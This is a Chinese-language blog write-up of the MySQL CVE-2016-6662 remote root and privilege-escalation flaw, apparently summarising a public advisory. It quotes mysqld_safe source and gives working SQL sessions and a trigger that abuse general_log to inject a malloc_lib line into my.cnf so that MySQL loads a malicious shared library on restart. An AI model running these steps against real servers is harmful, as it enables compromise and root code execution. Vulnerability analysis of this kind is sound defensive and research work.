0x00 漏洞影响
MySQL <= 5.7.15远程代码执行/ 提权 (0day)
5.6.33 5.5.52
Mysql分支的版本也受影响,包括:
MariaDB
PerconaDB
0x01 条件
(1)可以在低权(需要有FILE权限)账户下执行
(2)可以执行sql,最好是个webshell或者phpmyadmin里
(3)Mysql 5.5版本以上
0x02 漏洞原理
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
mysqld_safe在mysqld启动之前会先加载--malloc-lib=LIB 指定的so库。
这个选项可以在my.conf中使用[mysqld]或者[mysql_safe]节点进行配置。
2003年爆出的一个漏洞,可以直接使用outfile直接覆盖my.cnf,修补方式就是不允许对my.cnf文件进行覆盖操作。
但是可以使用mysql logging操作对配置文件进行覆写。
步骤如下:
(1)当my.cnf的权限配置不正确的时候,比如执行了:
chown mysql /etc/my.cnfchmod 600 /etc/my.cnf
ls之后是:
-rw------- 1 mysql mysql 3533 Sep 12 12:08 my.cnf
这个至少默认配置不是这样,不过考虑到一些安装教程这么介绍,会误导一批运维人员。
不过,这个限制也是该洞非常局限的地方,但是,一切漏洞看场景。
(2)写日志
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
如果不对my.cnf进行步骤(1)的配置,在执行general_log=on就会报错了。
(3)执行完上述语句之后,再看my.cnf就会多出来:
; injected config entry[mysqld]malloc_lib=/tmp/mysql_exploit_lib.so[separator]
(4)记得还要在/tmp目录下放置恶意的so文件,然后重启mysql触发漏洞。
0x03 另一个姿势
还是看mysqkd_safe文件:
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
会从mysql安装目录来寻找my.cnf文件进行加载。
具体是:
/var/lib/mysql/my.cnf 5.5 5.6
/var/lib/mysql/.my.conf 5.7
/var/lib/mysql这个目录明显可以被mysql用户进行读写操作。
下面就是如何创建这个文件,使用outfile:
SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'
是不行的,原因是这种方式创建的文件会有三元组都有rw权限:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf
mysql不会在启动的时候加载这种文件。
还是老办法,使用mysql logging:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
这样创建出来的my.cnf符合加载条件:
# ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf
查看文件,但是文件开头没有有效的section标识,所以会报错。
# cat /var/lib/mysql/my.cnf
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:48:22 43 Query select '
; injected config entry
[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
[separator]
'
160728 17:48:23 43 Query set global general_log = off
报错信息如下:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted
但是公告里(http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html)声称可以用CVE-2016-6663进行有效配置文件的实现。这个在公告中并没有透漏细节,这个要持续关注下。目前这个CVE在披露过程中。
0x04 没有DBA权限
只能执行select和file操作,可以用触发器实现写文件:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
这个不介绍了。
0x05 结尾
吐槽一下,很多人觉得这个洞没啥用,无非就是觉得限制非常多,但是一切漏洞都要看场景,脱离场景去评判漏洞,没有任何意义。而且,第二种方法已经去掉很多限制了,我就坐等公开再来补充。。。。
总之,我觉得这个洞至少比UDF厉害些。
妈蛋,深夜了。。。。
不写了,有兴趣的同学可以去看原文:
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html